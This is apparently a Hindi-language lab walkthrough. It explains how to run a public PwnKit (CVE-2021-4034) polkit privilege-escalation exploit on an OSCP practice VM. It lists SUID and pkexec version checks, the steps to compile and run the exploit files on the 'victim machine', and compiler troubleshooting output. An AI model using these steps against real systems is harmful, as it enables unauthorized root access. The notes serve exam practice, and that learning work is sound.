
CVE-2021-4034 (PwnKit) के लिए एक्सप्लॉइट, जो polkit के pkexec बाइनरी में स्थानीय विशेषाधिकार वृद्धि भेद्यता को लक्षित करता है, जो प्रभावित Linux सिस्टम पर अप्रमाणित रूट पहुंच को सक्षम बनाता है।
यह मैंने नहीं लिखा है। यह केवल एक्सप्लॉइट के उपयोग के अपने निष्पादन/निर्देशों को प्रलेखित करने के लिए है क्योंकि इसमें कुछ बहुत ही जटिल और पेचीदा चरणों का पालन करना होता है।
फ़ाइलें निम्नलिखित स्रोत से आती हैं: https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html
निष्पादन पर अतिरिक्त सहायता यहाँ मिलती है: https://ine.com/blog/exploiting-pwnkit-cve-20214034
इसका परीक्षण/निष्पादन OSCP के Blackgate Practice VM पर किया गया था: Ubuntu 20.04 Kernel 5.8.0-63-generic
कैसे पता करें कि यह असुरक्षित है:
उपलब्ध SUID की जाँच करें और सुनिश्चित करें कि /usr/bin/pkexec एक SUID बाइनरी है:
find / -perm -4000 2>/dev/null
बाइनरी की अनुमतियों की जाँच करें:
ls -al /usr/bin/pkexec
pkexec संस्करण की जाँच करें:
/usr/bin/pkexec --version
Blackgate पर पाया गया असुरक्षित संस्करण: pkexec version 0.105
सुनिश्चित करें कि शिकार मशीन पर कंपाइलर उपलब्ध है।
gcc version
फ़ाइलों को शिकार मशीन पर कॉपी करें (Makefile, evil-so.c, exploit.c) और 'make all' कमांड का उपयोग करके कंपाइल करें। './exploit' निष्पादित करें
शेल की जाँच करें
यदि आपको यह कहते हुए त्रुटि मिलती है कि cc: error trying to exec 'cc1': execvp: No such file or directory।
बाइनरी खोजने के लिए `locate cc1' कमांड का उपयोग करें:
locate cc1
/lib/modules/4.15.0-20-generic/kernel/drivers/iio/adc/cc10001_adc.ko
/lib/modules/4.15.0-20-generic/vdso/.build-id/a0/297fe29f8038ef50a10a26c9fcf5249ccc1184.debug
/usr/lib/gcc/x86_64-linux-gnu/7/cc1
/usr/lib/gcc/x86_64-linux-gnu/7/libcc1.so
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so.0
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so.0.0.0
/usr/lib/x86_64-linux-gnu/libcc1.so.0
/usr/lib/x86_64-linux-gnu/libcc1.so.0.0.0
# फिर संदर्भ के लिए स्थान को Path में Export करें, फिर से बिल्ड करने का प्रयास करें
Jack@oscp:/home/Jack$ export PATH=$PATH:/usr/lib/gcc/x86_64-linux-gnu/7/cc1